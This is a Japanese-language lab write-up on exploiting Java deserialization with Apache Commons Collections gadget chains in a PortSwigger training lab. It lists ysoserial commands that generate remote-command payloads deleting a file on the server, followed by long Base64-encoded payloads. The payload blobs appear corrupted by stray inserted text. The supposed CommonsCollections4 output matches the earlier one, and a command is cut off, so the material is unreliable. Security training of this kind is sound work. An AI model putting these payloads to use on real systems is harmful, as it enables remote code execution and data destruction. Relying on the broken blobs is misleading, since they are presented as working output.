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# Apache Commons を使った Java デシリアライゼーション

Apache Commons を使った Java デシリアライゼーションの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### Apache Commons を用いた Java デシリアライズの悪用

このラボでは、Java\*\* シリアル化\*\* に基づくセッション機構を使用し、 **Apache Commons Collections** ライブラリを読み込みます。/ ソースコードにアクセスできなくても、\*\*事前構築済みのガジェット\*\*を使って脆弱性を悪用できます。

\*\*対象:\*\*/ 悪意のあるシリアル化された Java オブジェクトを注入してリモートコマンドを実行し、次のファイルを削除します:

```bash
/home/carlos/morale.txt
```

**提供された認証情報：**

* `wiener:peter`

#### セッションの分析

認証後、セッションは Base64 でエンコードされた Java\*\* シリアル化済み\*\* Cookie に保存されます。例:

{% code overflow="wrap" %}

```bash
rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACB3dnc2c3cwdWs5bmtlc3FlcWRmMTQ4YnhvMW0yMHJsMXQABndpZW5lcg%3d%3d
```

{% endcode %}

その `rO0AB` というプレフィックスは、シリアル化された Java オブジェクトであることを示しています。

#### 使用ツール: Yesserial

悪意のあるデシリアライズ用ペイロードを生成するために、サードパーティ製ツール **ysserial**.

**環境の準備**

このラボには互換性のある Java のバージョンが必要です（ここでは Java 11）:

```bash
java -version
update-alternatives --set java /usr/lib/jvm/java-11-openjdk-amd64/bin/java
```

#### 悪意のあるペイロードの生成

まず、Apache Commons のガジェットチェーンをテストします:

```bash
/usr/lib/jvm/java-11-openjdk-amd64/bin/java /
-jar ysoserial-all.jar CommonsCollections1 'rm  /home/carlos/morale.txt'
```

コマンドはローカル側では正しく実行されますが、アプリケーションに注入されたペイロードではエラーが発生します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0b2f5c3a64c09801f1badcda89c9ecddcba27a3%2F%7BDD9DB505-D14A-458D-86AD-2BEB4D1A50C2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

ペイロードの最終生成と Base64 でのエンコード:

```bash
/usr/lib/jvm/java-11-openjdk-amd64/bin/java /
-jar ysoserial-all.jar CommonsCollections1 'rm  /home/carlos/morale.txt'| base64 -w 0 ; echo
```

{% code overflow="wrap" %}

```bash
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAUser-AgentwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB%2bAABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAUser-AgentwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2bj%2fa3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2bAB5zcQB%2bABZ1cQB%2bABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB%2bAB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAG3JtICAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dHQABGV4ZWN1cQB%2bAB4AAAABcQB%2bACNzcQB%2bABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAUser-AgentkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcUser-AgentH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95e516699eb036fb81cac9f95504b8c5f01909ec%2F%7B827B94B5-0197-4209-B035-53E0B7CCF29B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### ガジェットチェーンの調整

いくつかのテストの後、このラボに対する正しいチェーンは次のとおりです:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7342d7adc0e2583742dc018b5bf07cbb21787842%2F%7BE01DDA51-3D88-47E9-A2F5-ED0ED8677C94%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

ペイロードの最終生成と Base64 でのエンコード:

```bash
/usr/lib/jvm/java-11-openjdk-amd64/bin/java /
-jar ysoserial-all.jar CommonsCollections4 'rm  /home/carlos/morale.txt' | base64 -w 0 ; ech
```

{% code overflow="wrap" %}

```bash
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAUser-AgentwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAUser-AgentwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAG3JtICAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dHQABGV4ZWN1cQB+AB4AAAABcQB+ACNzcQB+ABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAUser-AgentkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcUser-AgentH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6
```

{% endcode %}


---

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